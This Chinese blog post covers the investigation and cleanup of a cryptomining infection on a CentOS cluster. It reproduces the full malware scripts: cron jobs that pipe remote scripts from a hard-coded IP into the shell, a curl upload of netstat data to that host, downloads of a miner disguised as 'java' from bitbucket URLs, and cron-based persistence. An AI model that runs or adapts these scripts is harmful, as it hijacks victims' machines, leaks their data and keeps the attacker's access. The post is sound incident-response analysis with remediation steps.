挖矿病毒zz.sh——记一次linux(centos)成为矿机后的排查与修复过程

楚岳
2023-12-01

我们工作组的主机集群某天被发现cpu利用率600%多,显然被种了后门来挖矿。写一下这篇文章来记录排查过程中遇到的问题。

1.怎么发现变矿机?

1)top 发现cpu炸了。这个也是常见的查看方法

2)

netstat -natp

发现有几个异常的tcp连接,一查ip,发现是俄罗斯,荷兰的ip,估计主机被人种后门了

2.具体流程

crontab -l ,发现果然有一分钟一次的定时任务,

* * * * * wget -q -O - http://46.249.38.186/cr.sh | sh > /dev/null 2>&1

具体定时的向一个ip下载脚本,脚本长这个样子

#!/bin/bash

#ps ax --sort=-pcpu > /tmp/tmp2.txt
netstat -antp > /tmp/tmp2.txt
#crontab -l > /tmp/tmp2.txt
#ps -eo uid,pid,ppid,stime,%cpu,cmd --sort=-%cpu |grep -v STIME| head>/tmp/tmp2.txt
#top -c -n 1 -b > /tmp/tmp.txt
curl -F "file=@/tmp/tmp2.txt" http://46.249.38.186/rep.php
rm -rf /tmp/tmp2.txt

LDR="wget -q -O -"
if [ -s /usr/bin/curl ];
then
    LDR="curl";
fi
if [ -s /usr/bin/wget ];
then
    LDR="wget -q -O -";
fi

if [ ! "$(ps -fe|grep '/tmp/java'|grep 'w.conf'|grep -v grep)" ];
then
    $LDR https://bitbucket.org/ktjght21/mygit/raw/master/zz.sh | sh
else
    pwd
fi

脚本做了以下几件事

1.收集主机信息,存储到/tmp/tmp2.txt文件下。本机工作在一个分布式集群中,这一步可能是来收集集群的ip

2.将主机信息通过POST上传到46.249.38.186的php后台,查了一下,这主机也位于荷兰,并且开了22端口。。这步貌似是收集主机网络连接信息从而进行扩散攻击脚本的。

3.从bitbucket.org上下载脚本并执行。完整的脚本如下:

#!/bin/bash
pkill -f donate
pkill -f proxkekman
pkill -f 158.69.133.18
pkill -f 192.99.142.246
pkill -f test.conf
pkill -f /var/tmp/apple
pkill -f /var/tmp/big
pkill -f /var/tmp/small
pkill -f /var/tmp/cat
pkill -f /var/tmp/dog
pkill -f /var/tmp/mysql
pkill -f /var/tmp/sishen
pkill -f ubyx
pkill -f /var/tmp/mysql
rm -rf /var/tmp/mysql
ps ax | grep java.conf | grep bin | awk '{print $1}' | xargs kill -9
ps ax|grep "./noda\|./manager"|grep sh|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "./no1"|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "./uiiu"|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "./noss"|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "8220"|grep -v grep | awk '{print $1}' | xargs kill -9
pkill -f cpu.c
pkill -f tes.conf
pkill -f psping
ps ax | grep cs.c | grep bin | awk '{print $1}' | xargs kill -9
ps ax | grep -- "-c cs" | awk '{print $1}' | xargs kill -9
ps ax | grep -- "-c pcp" | awk '{print $1}' | xargs kill -9
ps ax | grep -- "-c omo" | awk '{print $1}' | xargs kill -9
pkill -f /var/tmp/java-c
pkill -f pscf
pkill -f cryptonight
pkill -f sustes
pkill -f xmrig
pkill -f xmr-stak
pkill -f suppoie
ps ax | grep "config.json -t" | grep -v grep | awk '{print $1}' | xargs kill -9
ps aux | grep "/lib/systemd/systemd" | awk '{if($3>20.0) print $2}' | xargs kill -9
ps ax | grep 'wc.conf\|wq.conf\|wm.conf\|wt.conf' | grep -v grep | grep 'ppl\|pscf\|ppc\|ppp' | awk '{print $1}' | xargs kill -9
rm -rf /var/tmp/pscf*
rm -rf /tmp/pscf*
pkill -f ririg
rm -rf /var/tmp/ntpd
pkill -f /var/tmp/ntpd
rm -rf /var/tmp/ntp
pkill -f /var/tmp/ntp
rm -rf /var/tmp/qq
rm -rf /var/tmp/qq1
pkill -f /var/tmp/qq
rm -rf /tmp/qq
rm -rf /tmp/qq1
pkill -f /tmp/qq
pkill -f /var/tmp/aa
rm -rf /var/tmp/aa
rm -rf /var/tmp/gg
rm -rf /var/tmp/gg1
pkill -f gg1.conf
rm -rf /var/tmp/hh
rm -rf /var/tmp/hh1
pkill -f hh1.conf
pkill -f apaqi
rm -rf /var/tmp/apaqi
pkill -f dajiba
rm -rf /var/tmp/dajiba

pkill -f /var/tmp/look
rm -rf /var/tmp/look
pkill -f /var/tmp/nginx
rm -rf /var/tmp/nginx
rm -rf /var/tmp/dd
rm -rf /var/tmp/dd1
rm -rf /var/tmp/apple
pkill -f dd1.conf
pkill -f kkk1.conf
pkill -f ttt1.conf
pkill -f ooo1.conf
pkill -f ppp1.conf
pkill -f lll1.conf
pkill -f yyy1.conf
pkill -f 1111.conf
pkill -f 2221.conf
pkill -f dk1.conf
pkill -f kd1.conf
pkill -f mao1.conf
pkill -f YB1.conf
pkill -f 2Ri1.conf
pkill -f 3Gu1.conf

pkill -f crant
DIR="/tmp"
if [ -a "/tmp/java" ]
then
    if [ -w "/tmp/java" ] && [ ! -d "/tmp/java" ]
    then
        if [ -x "$(command -v md5sum)" ]
        then
            sum=$(md5sum /tmp/java | awk '{ print $1 }')
            echo $sum
            case $sum in
                7f4d9a672bb7ff27f641d29b99ecb08a | b00f4bbd82d2f5ec7c8152625684f853)
                    echo "Java OK"
                ;;
                *)
                    echo "Java wrong"
                    rm -rf /tmp/java
                    pkill -f w.conf
                    sleep 4
                ;;
            esac
        fi
        echo "P OK"
    else
        DIR=$(mktemp -d)/tmp
        mkdir $DIR
        echo "T DIR $DIR"
    fi
else
    if [ -d "/var/tmp" ]
    then
        DIR="/var/tmp"
    fi
    echo "P NOT EXISTS"
fi
if [ -d "/tmp/java" ]
then
    DIR=$(mktemp -d)/tmp
    mkdir $DIR
    echo "T DIR $DIR"
fi
WGET="wget -O"
if [ -s /usr/bin/curl ];
then
    WGET="curl -o";
fi
if [ -s /usr/bin/wget ];
then
    WGET="wget -O";
fi

downloadIfNeed()
{
    if [ -x "$(command -v md5sum)" ]
    then
        if [ ! -f $DIR/java ]; then
            echo "File not found!"
            download
        fi
        sum=$(md5sum $DIR/java | awk '{ print $1 }')
        echo $sum
        case $sum in
            7f4d9a672bb7ff27f641d29b99ecb08a | b00f4bbd82d2f5ec7c8152625684f853)
                echo "Java OK"
            ;;
            *)
                echo "Java wrong"
                sizeBefore=$(du $DIR/java)
                if [ -s /usr/bin/curl ];
                then
                    WGET="curl -k -o ";
                fi
                if [ -s /usr/bin/wget ];
                then
                    WGET="wget --no-check-certificate -O ";
                fi
                echo "" > $DIR/tmp.txt
                rm -rf $DIR/java
                download
            ;;
        esac
    else
        echo "No md5sum"
        download
    fi
}

download() {
    if [ -x "$(command -v md5sum)" ]
    then
        sum=$(md5sum $DIR/pscf3 | awk '{ print $1 }')
        echo $sum
        case $sum in
            7f4d9a672bb7ff27f641d29b99ecb08a | b00f4bbd82d2f5ec7c8152625684f853)
                echo "Java OK"
                cp $DIR/pscf3 $DIR/java
            ;;
            *)
                echo "Java wrong"
                download2
            ;;
        esac
    else
        echo "No md5sum"
        download2
    fi
}

download2() {
    $WGET $DIR/java https://bitbucket.org/ktjght21/mygit/raw/master/x_64

    if [ -x "$(command -v md5sum)" ]
    then
        sum=$(md5sum $DIR/java | awk '{ print $1 }')
        echo $sum
        case $sum in
            7f4d9a672bb7ff27f641d29b99ecb08a | b00f4bbd82d2f5ec7c8152625684f853)
                echo "Java OK"
                cp $DIR/java $DIR/pscf3
            ;;
            *)
                echo "Java wrong"
            ;;
        esac
    else
        echo "No md5sum"
    fi
}

netstat -antp | grep '158.69.133.20\|192.99.142.249\|202.144.193.110\|192.99.142.225\|192.99.142.246\|46.4.200.177\|192.99.142.250\|46.4.200.179\|192.99.142.251\|46.4.200.178\|159.65.202.177\|185.92.223.190\|222.187.232.9\|78.46.89.102' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
if [ "$(netstat -ant|grep '158.69.133.20\|192.99.142.249\|202.144.193.110\|192.99.142.225\|192.99.142.246\|46.4.200.177\|192.99.142.250\|46.4.200.179\|192.99.142.251\|46.4.200.178\|159.65.202.177\|185.92.223.190\|222.187.232.9\|78.46.89.102'|grep 'ESTABLISHED'|grep -v grep)" ];
then
    ps axf -o "pid %cpu" | awk '{if($2>=30.0) print $1}' | while read procid
    do
        kill -9 $procid
    done
else
    echo "Running"
fi

if [ ! "$(ps -fe|grep '/tmp/java'|grep 'w.conf'|grep -v grep)" ];
then
    downloadIfNeed
    chmod +x $DIR/java
    $WGET $DIR/w.conf https://bitbucket.org/ktjght21/mygit/raw/master/w.conf
    nohup $DIR/java -c $DIR/w.conf > /dev/null 2>&1 &
    sleep 5
    rm -rf $DIR/w.conf
else
    echo "Running"
fi

if crontab -l | grep -q "46.249.38.186"
then
    echo "Cron exists"
else
    echo "Cron not found"
    LDR="wget -q -O -"
    if [ -s /usr/bin/curl ];
    then
        LDR="curl";
    fi
    if [ -s /usr/bin/wget ];
    then
        LDR="wget -q -O -";
    fi
    (crontab -l 2>/dev/null; echo "* * * * * $LDR http://46.249.38.186/cr.sh | sh > /dev/null 2>&1")| crontab -
fi

pkill -f logo4.jpg
pkill -f logo0.jpg
pkill -f logo9.jpg
pkill -f jvs
pkill -f javs
pkill -f 192.99.142.248
rm -rf /tmp/pscd*
rm -rf /var/tmp/pscd*
crontab -l | sed '/202.144.193.167/d' | crontab -
crontab -l | sed '/192.99.142.232/d' | crontab -
crontab -l | sed '/192.99.142.226/d' | crontab -
crontab -l | sed '/192.99.142.248/d' | crontab -
crontab -l | sed '/45.77.86.208/d' | crontab -
crontab -l | sed '/144.202.8.151/d' | crontab -
crontab -l | sed '/192.99.55.69/d' | crontab -
crontab -l | sed '/logo4/d' | crontab -
crontab -l | sed '/logo9/d' | crontab -
crontab -l | sed '/logo0/d' | crontab -
crontab -l | sed '/logo/d' | crontab -
crontab -l | sed '/tor2web/d' | crontab -
crontab -l | sed '/jpg/d' | crontab -
crontab -l | sed '/png/d' | crontab -
crontab -l | sed '/tmp/d' | crontab -

看看 分为这几步吧:

1.我开始以为是初始化

刚开始那一大堆pkill,xargs kill应该是强行停掉之前的工作进程,里面竟然还出现了中文拼音命名的文件夹(/var/tmp/sishen)

后来查了查这个木马,我去,原来大有来头啊,

https://blog.csdn.net/h952520296/article/details/82423519

这是个搞比特币挖矿的团伙,不知什么情况我们的机子也被扫描到了。这一步竟然是黑吃黑,把机子上其他来源的挖矿程序全部搞死,这操作太骚了

2.下面这些,直接对tmp里面的名字为java的文件求校验和,检验文件完整性。开始我还以为这一步是检验java环境,后来发现这个名字叫java的文件就是挖矿代码,伪装名字为java,还是很可以的

DIR="/tmp"
if [ -a "/tmp/java" ]
then
    if [ -w "/tmp/java" ] && [ ! -d "/tmp/java" ]
    then
        if [ -x "$(command -v md5sum)" ]
        then
            sum=$(md5sum /tmp/java | awk '{ print $1 }')
            echo $sum
            case $sum in
                7f4d9a672bb7ff27f641d29b99ecb08a | b00f4bbd82d2f5ec7c8152625684f853)
                    echo "Java OK"
                ;;
                *)
                    echo "Java wrong"
                    rm -rf /tmp/java
                    pkill -f w.conf
                    sleep 4
                ;;
            esac
        fi
        echo "P OK"
    else
        DIR=$(mktemp -d)/tmp
        mkdir $DIR
        echo "T DIR $DIR"
    fi
else
    if [ -d "/var/tmp" ]
    then
        DIR="/var/tmp"
    fi
    echo "P NOT EXISTS"
fi

if [ -d "/tmp/java" ]
then
    DIR=$(mktemp -d)/tmp
    mkdir $DIR
    echo "T DIR $DIR"
fi
WGET="wget -O"
if [ -s /usr/bin/curl ];
then
    WGET="curl -o";
fi
if [ -s /usr/bin/wget ];
then
    WGET="wget -O";
fi

如果没有,就把当前目录换为/var/tmp

netstat -antp | grep '158.69.133.20\|192.99.142.249\|202.144.193.110\|192.99.142.225\|192.99.142.246\|46.4.200.177\|192.99.142.250\|46.4.200.179\|192.99.142.251\|46.4.200.178\|159.65.202.177\|185.92.223.190\|222.187.232.9\|78.46.89.102' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9

先停掉这台机子之前的挖矿代码产生的tcp连接,这些代理我查了查,都是些被矿池列黑名单的代理ip

if [ "$(netstat -ant|grep '158.69.133.20\|192.99.142.249\|202.144.193.110\|192.99.142.225\|192.99.142.246\|46.4.200.177\|192.99.142.250\|46.4.200.179\|192.99.142.251\|46.4.200.178\|159.65.202.177\|185.92.223.190\|222.187.232.9\|78.46.89.102'|grep 'ESTABLISHED'|grep -v grep)" ];
then
    ps axf -o "pid %cpu" | awk '{if($2>=30.0) print $1}' | while read procid
    do
        kill -9 $procid
    done
else
    echo "Running"
fi

如果没关完,继续关

if [ ! "$(ps -fe|grep '/tmp/java'|grep 'w.conf'|grep -v grep)" ];
then
    downloadIfNeed
    chmod +x $DIR/java
    $WGET $DIR/w.conf https://bitbucket.org/ktjght21/mygit/raw/master/w.conf
    nohup $DIR/java -c $DIR/w.conf > /dev/null 2>&1 &
    sleep 5
    rm -rf $DIR/w.conf
else
    echo "Running"
fi

然后看看本地的挖矿进程开始了没,没开始就先下一个json配置文件,然后按照配置文件运行文件名伪装成java的挖矿代码

我们看一看downloadIfNeed(下图)(如果没有挖矿代码,就进行下载),下载的网址在这里

https://bitbucket.org/ktjght21/mygit/raw/master/x_64,

直到挖矿代码下载完成

downloadIfNeed()
{
    if [ -x "$(command -v md5sum)" ]
    then
        if [ ! -f $DIR/java ]; then
            echo "File not found!"
            download
        fi
        sum=$(md5sum $DIR/java | awk '{ print $1 }')
        echo $sum
        case $sum in
            7f4d9a672bb7ff27f641d29b99ecb08a | b00f4bbd82d2f5ec7c8152625684f853)
                echo "Java OK"
            ;;
            *)
                echo "Java wrong"
                sizeBefore=$(du $DIR/java)
                if [ -s /usr/bin/curl ];
                then
                    WGET="curl -k -o ";
                fi
                if [ -s /usr/bin/wget ];
                then
                    WGET="wget --no-check-certificate -O ";
                fi
                echo "" > $DIR/tmp.txt
                rm -rf $DIR/java
                download
            ;;
        esac
    else
        echo "No md5sum"
        download
    fi
}

最后,看看本地定时任务是不是被关掉了,如果真的被人关掉了,就重新把挖矿代码下载与运行程序,加到定时任务里

if crontab -l | grep -q "46.249.38.186"
then
    echo "Cron exists"
else
    echo "Cron not found"
    LDR="wget -q -O -"
    if [ -s /usr/bin/curl ];
    then
        LDR="curl";
    fi
    if [ -s /usr/bin/wget ];
    then
        LDR="wget -q -O -";
    fi
    (crontab -l 2>/dev/null; echo "* * * * * $LDR http://46.249.38.186/cr.sh | sh > /dev/null 2>&1")| crontab -
fi

最后挂上挖矿代码的链接

https://bitbucket.org/ktjght21/mygit/raw/master/x_64

最后送上该木马的解决方案:

1.关闭所有定时任务,删除/var/spools/cron下面的所有相关文件

2.配置iptables的INPUT链与OUTPUT链,加上DROP动作,把出现过的所有异常tcp连接的远程ip都拉黑

3.手动kill掉所有挖矿以及有异常tcp连接的进程

4.删除/tmp ,/var/tmp下面的所有相关的文件

------------------------------------------------------分界线-----------------------------------------------------------

后来的事实证明,这个臭名昭著的团伙的操作远远不止上面那些

晚上我闲的无聊,又看了看ps  -aux后的输出,我操,竟然还有异常tcp连接的进程,但是由于远程ip被我拉黑了,这些进程都处于休眠状态

root     29041  0.0  0.0 113176  1212 ?        Ss   01:47   0:00 /bin/bash -c wget -q -O - https://bitbucket.org/ktjght21/mygit/raw/master/zz.sh | bash
root     29043  0.0  0.0 152004  4292 ?        S    01:47   0:00 wget -q -O - https://bitbucket.org/ktjght21/mygit/raw/master/zz.sh

吓得我赶快输入crontab -l ,发现没有定时任务啊,于是我又看了看/var/log/cron的日志

Sep 27 20:01:01 slaver2 CROND[23061]: (root) CMD (run-parts /etc/cron.hourly)
Sep 27 20:01:01 slaver2 run-parts(/etc/cron.hourly)[23061]: starting 0anacron
Sep 27 20:01:01 slaver2 anacron[23069]: Can't chdir to /var/spool/anacron: 没有那个文件或目录
Sep 27 20:01:01 slaver2 run-parts(/etc/cron.hourly)[23072]: finished 0anacron
Sep 27 20:01:01 slaver2 CROND[23059]: (root) MAIL (mailed 100 bytes of output but got status 0x004b#012)

有一条是上面这样的,原来在/etc文件夹下面还藏了一个每小时执行的任务啊,怪不得删了那么多东西还是有异常的tcp连接进程

然后我进入etc文件夹,ls -al | grep cron,果然啊

-rw-------.   1 root root      541 4月  11 09:48 anacrontab
drwxr-xr-x.   2 root root       54 8月   8 23:26 cron.d
drwxr-xr-x.   2 root root       66 9月  28 00:00 cron.daily
-rw-------.   1 root root        0 4月  11 09:48 cron.deny
drwxr-xr-x.   2 root root       31 9月  28 01:32 cron.hourly
drwxr-xr-x.   2 root root       15 9月  28 00:00 cron.monthly
-rw-r--r--.   1 root root      451 6月  10 2014 crontab
drwxr-xr-x.   2 root root       15 9月  28 00:00 cron.weekly

有几个被最近修改过,进去一看,果然多了不少东西,把这些脚本一删完,搞定

 

 类似资料: